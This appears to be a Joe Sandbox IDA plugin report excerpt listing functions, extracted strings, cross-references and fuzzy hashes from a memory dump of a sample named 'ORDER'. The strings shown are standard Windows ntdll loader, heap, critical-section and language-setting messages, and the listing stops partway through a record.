Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $ $0
API String ID: 3446177414-3352262554
Opcode ID: 46802cda868f228d47fb9ff4a53dcdfeb0872ec2ddb80bd3c563b23a14b81675
Instruction ID: c2dbe4bc1853ae2ea17281a742a108c0c6c46c81c435ceaf3dd49e50b3fe68c8
Opcode Fuzzy Hash: 46802cda868f228d47fb9ff4a53dcdfeb0872ec2ddb80bd3c563b23a14b81675
Instruction Fuzzy Hash: 7D3239B9608381AFE354CF68C484B6BBBE5BF88348F04492EF59987350DB74D949CB52

Function 32458540 Relevance: 17.7, Strings: 14, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

corrupted critical section, xrefs: 324952CD
undeleted critical section in freed memory, xrefs: 32495236
Critical section address., xrefs: 3249530D
Invalid debug info address of this critical section, xrefs: 324952C1
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 32495215, 324952A1, 32495324
Thread identifier, xrefs: 32495345
Critical section debug info address, xrefs: 3249522A, 32495339
Address of the debug info found in the active list., xrefs: 324952B9, 32495305
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 324952ED
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 324952D9
8, xrefs: 324950EE
Critical section address, xrefs: 32495230, 324952C7, 3249533F
Thread is in a state in which it cannot own a critical section, xrefs: 3249534E
double initialized or corrupted critical section, xrefs: 32495313

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: bcee7caa1c449cd97f2894f6c6119f61083a8e11112f812c0634858bb4f07589
Instruction ID: 5d5d84a4e79e433a81893f3e196545b7f7e672a93f9a75d7bfdc27377fa21393
Opcode Fuzzy Hash: bcee7caa1c449cd97f2894f6c6119f61083a8e11112f812c0634858bb4f07589
Instruction Fuzzy Hash: DB818AB0901758AFEB10CF94D940B9EFBB5BB48705F208169F944B7280D7B1A981CF64

Function 3241D2EC Relevance: 12.8, Strings: 10, Instructions: 312COMMON

Download Yara Rule

Strings

@, xrefs: 3241D43D
@, xrefs: 3241D603
h.D2, xrefs: 3241D56A
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3241D356
PreferredUILanguagesPending, xrefs: 3247A66D
Control Panel\Desktop, xrefs: 3241D3FD
PreferredUILanguages, xrefs: 3241D458, 3241D465
Control Panel\Desktop\MuiCached, xrefs: 3241D5CB
MachinePreferredUILanguages, xrefs: 3241D625
@, xrefs: 3241D389

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$h.D2
API String ID: 0-41683473
Opcode ID: b3876aac6388b9e61da8da8a8a4f9687d2c7614898fcef0bcc10b2b131c0c4db
Instruction ID: 8203f73f0d7be70278b100e5f308d441d61969ddab6f92f309ce5140aed00e50
Opcode Fuzzy Hash: b3876aac6388b9e61da8da8a8a4f9687d2c7614898fcef0bcc10b2b131c0c4db
Instruction Fuzzy Hash: 14B18BB6508351EFD715CF28C440B5BB7E8AF88B48F41492EF99897300DBB1E949CB92

Function 3241640D Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3241651C

Part of subcall function 32416565: RtlDebugPrintTimes.NTDLL ref: 32416614
Part of subcall function 32416565: RtlDebugPrintTimes.NTDLL ref: 3241665F

Strings

Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 3247977C
minkernel\ntdll\ldrinit.c, xrefs: 324797A0, 324797C9
apphelp.dll, xrefs: 32416446
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 324797B9
LdrpInitShimEngine, xrefs: 32479783, 32479796, 324797BF
Getting the shim engine exports failed with status 0x%08lx, xrefs: 32479790

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-204845295
Opcode ID: 38d3bd0df1daabd58d28b463241e51f0618b8192cc6d64fabfe679d4bacb98ba
Instruction ID: 0b91a746b81c5f07075b034fa505cfc1cbd34241c092747a9aa60b3ff9e86d2a
Opcode Fuzzy Hash: 38d3bd0df1daabd58d28b463241e51f0618b8192cc6d64fabfe679d4bacb98ba
Instruction Fuzzy Hash: 9051C3712497009FE715CF24D890F9BB7E4EF88744F404D1DFAA5972A0DA70EA85CB92

Function 3241D02D Relevance: 11.5, Strings: 9, Instructions: 249COMMON

Download Yara Rule

Strings

\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 3241D06F
Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 3241D202
Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 3241D0E6
h.D2, xrefs: 3247A5D2
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 3241D263
@, xrefs: 3241D09D
@, xrefs: 3241D24F
Control Panel\Desktop\LanguageConfiguration, xrefs: 3241D136
@, xrefs: 3241D2B3

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration$h.D2
API String ID: 0-3420205679
Opcode ID: c4250fda2b3f9f64d4a5ee7934fc43d86b1a9c6c0f4858d1d98a24be739959f3
Instruction ID: f54ba21d269578beb31c2f337b13c98982f75bdbaa4d6483c2a29a5ed908b3cf
Opcode Fuzzy Hash: c4250fda2b3f9f64d4a5ee7934fc43d86b1a9c6c0f4858d1d98a24be739959f3
Instruction Fuzzy Hash: FFA14DB1508355DFE321CF25C540B9BB7E8AF88759F00492EFA9896240DBB9D948CF93

Function 3243B650 Relevance: 11.3, Strings: 8, Instructions: 1323COMMON

Download Yara Rule

Strings

SxS, xrefs: 324886F4
API set, xrefs: 324886FB, 32488700
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 3248891D
xt?2, xrefs: 3243BA89
minkernel\ntdll\ldrutil.c, xrefs: 32488720, 3248892E
DLL %wZ was redirected to %wZ by %s, xrefs: 3248870F
\SysWOW64, xrefs: 3243BD17, 3243BD67
LdrpPreprocessDllName, xrefs: 32488716, 32488924

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$\SysWOW64$minkernel\ntdll\ldrutil.c$xt?2
API String ID: 0-1358922150
Opcode ID: d945518197016a0e45cef429721dacadb158380218771fb63885174f573c71e1
Instruction ID: ff85c0b1de36d3d9cc1a5a8e7e538b1dccfe8e2b0c05d26a43aa8abc730006e7
Opcode Fuzzy Hash: d945518197016a0e45cef429721dacadb158380218771fb63885174f573c71e1
Instruction Fuzzy Hash: 7BC259B4A017298FDB25CF15CC807AAB7B5BF48708F4041EADA49AB341EB719AD1CF54

Function 3244D6D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3244D879

Part of subcall function 32424779: RtlDebugPrintTimes.NTDLL ref: 32424817

Strings

LdrShutdownProcess, xrefs: 3248F0D8
$, xrefs: 3244D820
$, xrefs: 3244D78D
minkernel\ntdll\ldrinit.c, xrefs: 3248F0E2
Process 0x%p (%wZ) exiting, xrefs: 3248F0D1

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1975516107
Opcode ID: 7d183411d4a5172952d31d458740987b229ac6792fefd6a72373b8ef11dab421
Instruction ID: 8d3520891c06d4fd1ab8e604f58898cd7fc0b0a8c112c4d2e7b69e0d57ad7539
Opcode Fuzzy Hash: 7d183411d4a5172952d31d458740987b229ac6792fefd6a72373b8ef11dab421
Instruction Fuzzy Hash: 0551FE75A05745DFEB05CFA4C480B9DBBB1BF48318F668459E8016B381DBB4AA86CF80

Function 324CF51B Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 324CF55F, 324CF5A4, 324CF5F0, 324CF655, 324CF6A3, 324CF6EA
HEAP[%wZ]: , xrefs: 324CF552, 324CF597, 324CF5E3, 324CF648, 324CF696, 324CF6DD
Specified HeapBase (%p) is free or not writable, xrefs: 324CF6F8
Invalid CommitSize parameter - %Ix, xrefs: 324CF5B2
Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 324CF6B2
Specified HeapBase (%p) invalid, Status = %lx, xrefs: 324CF664
Invalid ReserveSize parameter - %Ix, xrefs: 324CF56B
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 324CF5FB

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 05ea20a79264afc0af5808158e3b1ad9b69e4146bef4ff11c7cbb27d4ad975f5
Instruction ID: 97ee420b81a8807de2f22a42042e439293ac92b14951b5e3f692cbcc7bbe0afd
Opcode Fuzzy Hash: 05ea20a79264afc0af5808158e3b1ad9b69e4146bef4ff11c7cbb27d4ad975f5
Instruction Fuzzy Hash: 5151053A221754FFE715DF98D844F5A77A4EF08B64F1284AAF4019B319CB79E942CE10

Function 324A8633 Relevance: 9.0, Strings: 7, Instructions: 259COMMON

Download Yara Rule

Strings

VerifierDebug, xrefs: 324A8925
HandleTraces, xrefs: 324A890F
AVRF: -*- final list of providers -*- , xrefs: 324A880F
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 324A86E7
VerifierFlags, xrefs: 324A88D0
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 324A86BD
VerifierDlls, xrefs: 324A893D

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: 7208a325afd6407c8e36dffa153f54a8c6314f8b59c34866fde1b20a45203fee
Instruction ID: be79680d52d2b96b9998636194059527e6938e6ff9bac36f436e79373d370747
Opcode Fuzzy Hash: 7208a325afd6407c8e36dffa153f54a8c6314f8b59c34866fde1b20a45203fee
Instruction Fuzzy Hash: 4F916776542751AFE715CF2498A0B5AB7A8FF68714F41486CF9406B340CB70EE45CB92

Function 3241F113 Relevance: 8.2, Strings: 6, Instructions: 684COMMON

Download Yara Rule

Strings

(!TrailingUCR), xrefs: 3247E138
HEAP: , xrefs: 3247DCF3, 3247DE37, 3247E015, 3247E12D
((LONG)FreeEntry->Size > 1), xrefs: 3247DE42
HEAP[%wZ]: , xrefs: 3247DCE6, 3247DE2A, 3247E008, 3247E120
(UCRBlock != NULL), xrefs: 3247DCFE
(LONG)FreeEntry->Size > 1, xrefs: 3247E020

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: d1e472b951ae72efd4a1ee346f494c3606cd9ed513e7817d71566b11374cc7aa
Instruction ID: 3bb0c551151cc7a07d0e115d0cbe407e1f7fa8784a8f8ba4c1345678bc9864a5
Opcode Fuzzy Hash: d1e472b951ae72efd4a1ee346f494c3606cd9ed513e7817d71566b11374cc7aa
Instruction Fuzzy Hash: 3942FF75214781DFD306CF28C884B5ABBE5FF88348F05496DE8A58B352DB74E982CB52

Function 3244510F Relevance: 7.9, Strings: 6, Instructions: 434COMMON

Download Yara Rule

Strings

Kernel-MUI-Language-Allowed, xrefs: 3244519B
h.D2, xrefs: 32445410, 324453CF, 3248BA6D, 324452FD, 3248BA09, 32445224, 32445227, 32445300, 324453D2, 32445413, 3248BA0C, 3248BA70
Kernel-MUI-Language-SKU, xrefs: 3244534B
Kernel-MUI-Number-Allowed, xrefs: 32445167
Kernel-MUI-Language-Disallowed, xrefs: 32445272
WindowsExcludedProcs, xrefs: 3244514A

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs$h.D2
API String ID: 0-3671444071
Opcode ID: 3567fa2479401e1fecf891f03afff6635259dcb36608d566af382495d04c4bb1
Instruction ID: 6c96ac36d74e604d59ec5132848890898cd6441b2f4943ed65efa1203a5a5880
Opcode Fuzzy Hash: 3567fa2479401e1fecf891f03afff6635259dcb36608d566af382495d04c4bb1
Instruction Fuzzy Hash: BCF13BB6D11219EFEF05CF98C980ADEBBB8EF18754F50405AE911E7210EEB59E01CB90

Function 3243B0D0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON

Download Yara Rule

Strings

SxS, xrefs: 324881FA
API set, xrefs: 32488201, 32488206
LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx, xrefs: 324882DD
minkernel\ntdll\ldrutil.c, xrefs: 3248821A, 324882EE
DLL %wZ was redirected to %wZ by %s, xrefs: 32488209
LdrpPreprocessDllName, xrefs: 32488210, 324882E4

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
API String ID: 0-122214566
Opcode ID: e5087a9f1d544f01feecaab06f747f532a0a360e61533bef306fb2203e58e797
Instruction ID: 08b360ae3ea5db12d4eadcb85573133219a9b60a16377294b7c0b5fa190e4f1a
Opcode Fuzzy Hash: e5087a9f1d544f01feecaab06f747f532a0a360e61533bef306fb2203e58e797
Instruction Fuzzy Hash: 4AC13775A02319ABEB078B65C880BBEB760AF49344F508169EE019F390DFB5CDA5C391

Function 3245631F Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 32493EE3
Process initialization failed with status 0x%08lx, xrefs: 32493F45
_LdrpInitialize, xrefs: 32493EEA, 32493F4C, 32494010, 3249406A
minkernel\ntdll\ldrinit.c, xrefs: 32493EF4, 32493F56, 3249401A, 32494074
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 32494009
Delaying execution failed with status 0x%08lx, xrefs: 32494063

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
API String ID: 0-792281065
Opcode ID: f5dffae1a4f4a455d54b21c51da74d289a5e4c243bd26d899380343f3ccb15db
Instruction ID: 864e156d1cf02b66ec2ae15b371e920f770977ca64f3c882bc19cc2796a95f18
Opcode Fuzzy Hash: f5dffae1a4f4a455d54b21c51da74d289a5e4c243bd26d899380343f3ccb15db
Instruction Fuzzy Hash: B3914770A42315EBFB19CF14C844BDA7FA1AF46768F10006DEA556B3C1DBB46A82CF90

Function 32430680 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32484ECA
HEAP[%wZ]: , xrefs: 32484EBB
(UCRBlock->Size >= *Size), xrefs: 32484ED7

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: cc8d44fad4e145865068838d97675a63fe843558bee7e04f1933b9dcd861a012
Instruction ID: 94dc735d938eb5c88cd430c7dfe36767f88e3bc16281f43f790efba35c66ad2d
Opcode Fuzzy Hash: cc8d44fad4e145865068838d97675a63fe843558bee7e04f1933b9dcd861a012
Instruction Fuzzy Hash: CCF1C074A01705DFEB0ACF68C890B6AB7B5FF48344F108258E6469B381DB35E991CF90

Function 3245C640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3245C6DF

Strings

minkernel\ntdll\ldrinit.c, xrefs: 324980F3
Failed to reallocate the system dirs string !, xrefs: 324980E2
LdrpInitializePerUserWindowsDirectory, xrefs: 324980E9

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 121db887473e3da103f0822038d4610167928dcadfc81d321bbf0b3df9566164
Instruction ID: 09f0232e228f0b3b771ca684bed87568f527beacbbc2c6c8dafeabd009dac297
Opcode Fuzzy Hash: 121db887473e3da103f0822038d4610167928dcadfc81d321bbf0b3df9566164
Instruction Fuzzy Hash: 4041C6B5542300ABDB11DF24DC40B4B7BE8EF48B50F10992EF998E7251EB70EA55CB91

Function 324A43D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324A4489

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 324A4519
LdrpCheckRedirection, xrefs: 324A450F
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 324A4508

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 23fdfc009561e2e50ebf7254a3d0df148f67f2b883d6b672c62ea7da2c5f3517
Instruction ID: 8f7bc230a2df59928aee3d8d9ebce03f4e7a377b65bba0320b12fa4b4c545492
Opcode Fuzzy Hash: 23fdfc009561e2e50ebf7254a3d0df148f67f2b883d6b672c62ea7da2c5f3517
Instruction Fuzzy Hash: 6141F0766053119FDB11CF58E860A5A7BE4AFA8794F050A6DFC98EB351DB30EC41CB81

Function 32417662 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 3247ADB2
HEAP[%wZ]: , xrefs: 3247ADA5
Invalid heap signature for heap at %p, xrefs: 3247ADBE
RtlReAllocateHeap, xrefs: 3247ADCE
, passed to %s, xrefs: 3247ADCF

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlReAllocateHeap
API String ID: 0-941669491
Opcode ID: 7adf4576605510a9d2cfd095d530fd46dba901c7f70cd4fc1fd20f16181ea00f
Instruction ID: c02de8db12e8229d0291315de73adf2b16c730b545f9bb179ebdf82b40bb82c0
Opcode Fuzzy Hash: 7adf4576605510a9d2cfd095d530fd46dba901c7f70cd4fc1fd20f16181ea00f
Instruction Fuzzy Hash: 5801F736125290BEF3098B2CF408FC67BA4DF45775F24849EF0104BB91DFA6B986D660

Function 32420485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324205D6

Strings

kLsE, xrefs: 324205FE
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 32420586

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: 3b74fbbd7d92d506344dadf2135f2cda0626ec59137f2f14adca0fba465b6b70
Instruction ID: 826669b91b1e17de938285d7651e48b44c1034eae986fcce241e999f61ae9ccf
Opcode Fuzzy Hash: 3b74fbbd7d92d506344dadf2135f2cda0626ec59137f2f14adca0fba465b6b70
Instruction Fuzzy Hash: 1F51D1B5A00746DFEB14DFA6C4407EBB7F8AF54304F00993ED9A593240EB74A685CBA1

Function 3242A2E0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

LdrResFallbackLangList Exit, xrefs: 3242A31F
6, xrefs: 3242A317
8, xrefs: 3242A307
LdrResFallbackLangList Enter, xrefs: 3242A30F

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: ddd2480fd398b3f7ddeee14af1a2e997e9959bdb3c8818772a5fe0d5a3a3bc99
Instruction ID: 775d4550da430137f968d7b6fa4b2cd70978c9956531e9e8192c8d0867b01a79
Opcode Fuzzy Hash: ddd2480fd398b3f7ddeee14af1a2e997e9959bdb3c8818772a5fe0d5a3a3bc99
Instruction Fuzzy Hash: 8FC187741183928FE715CF2AC540B5AB7E4BF88748F00896EFC858B350EB75C98ACB56

Function 32458322 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

@, xrefs: 324584B1
minkernel\ntdll\ldrinit.c, xrefs: 32458341
LdrpInitializeProcess, xrefs: 32458342
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 3245847E

Memory Dump Source

